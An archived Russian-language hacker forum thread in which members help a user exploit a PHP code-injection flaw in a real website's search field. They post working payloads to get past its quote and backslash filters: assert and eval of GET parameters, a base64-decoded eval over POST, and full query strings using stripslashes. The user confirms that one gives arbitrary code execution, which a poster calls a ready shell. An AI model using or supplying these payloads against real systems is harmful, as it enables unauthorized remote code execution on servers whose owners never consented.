PDA

Просмотр полной версии : php injection обход логики


Avtoritet
26.09.2012, 15:26
На сайте найдена уязвимость в строке поиска забиваешь {${phpinfo()}} и получаешь всю раскладочку по нему. когда вбиваешь ковычку он её меняет на \ и удаляет всё что после. а каждую \ умножает на 2. как обойти логику?

XAMEHA
26.09.2012, 15:45
Avtoritet said:
На сайте найдена уязвимость в строке поиска забиваешь {${phpinfo()}} и получаешь всю раскладочку по нему. когда вбиваешь ковычку он её меняет на \ и удаляет всё что после. а каждую \ умножает на 2. как обойти логику?


Можно попробовать:


Code:
{${assert($_GET[12])}}

Если _ тоже фильтруется, можно использовать PHP-функции для работы с массивами, наподобие end, restet, prev и использовать их по отношению к $GLOBALS или использовать функции(При фильтровании$), значение которых можно устанавливать самим, в названии которой не содержится фильтруемых символов, однако в зависимости от сборки таких может не быть.

UDP:

Для каждого отдельного случая нужно самостоятельно подбирать вариации кода.

Avtoritet
26.09.2012, 15:53
XAMEHA said:
Можно попробовать:

Code:
{${assert($_GET[12])}}

Если
_
тоже фильтруется, можно использовать PHP-функции для работы с массивами, наподобие end, restet, prev и использовать их по отношению к
$GLOBALS
или использовать функции(При фильтровании
$
), значение которых можно устанавливать самим, в названии которой не содержится фильтруемых символов, однако в зависимости от сборки таких может нет быть.


Warning: assert() [function.assert]: Assertion failed in /var/www/...../www/netcat/require/s_list.inc.php(292) : eval()'d code on line 1

вот что выпало

C.php
26.09.2012, 16:05
Что мешает написать прямо так {${eval($_GET[cmd])}} .

Готовый шелл прямо

cat1vo
26.09.2012, 16:44
Можно еще загонять в base64, с его помощью можно передавать большие запросы не боясь фильтра кавычек!


{${eval(base64_decode($_POST[e]))}}

Avtoritet
26.09.2012, 16:45
C.php said:
Что мешает написать прямо так {${eval($_GET[cmd])}} .
Готовый шелл прямо


как не странно, такой обрабатывает корректно. и пишет по вашему запросу ничего не найдено.

Avtoritet
26.09.2012, 16:52
cat1vo said:
Можно еще загонять в base64, с его помощью можно передавать большие запросы не боясь фильтра кавычек!


амперсанта фильтруется тоже.

Avtoritet
26.09.2012, 16:55
когда вбиваешь {${print(2)}} он выводит 22

HAXTA4OK
27.09.2012, 00:03
Avtoritet said:
как не странно, такой обрабатывает корректно. и пишет по вашему запросу ничего не найдено.


?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();

как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :

?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';

Avtoritet
27.09.2012, 10:38
HAXTA4OK said:
?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();
как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :
?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';


Долго думает потом опера выдаёт следующее:

Could not locate remote server

Check that the address is spelled correctly, or try searching for the site.

Avtoritet
27.09.2012, 10:45
HAXTA4OK said:
?action=index&text={${eval($_GET[cmd])}}&cmd=phpinfo();
как я понял у тебя MQ= on и ты сразу не можешь вставить код с кавычкой :
?action=index&text={${eval(stripslashes($_GET[cmd]))}}&cmd=echo 'fff';


ты реально крут! всё работате 10+

HAXTA4OK
27.09.2012, 11:03
закрыто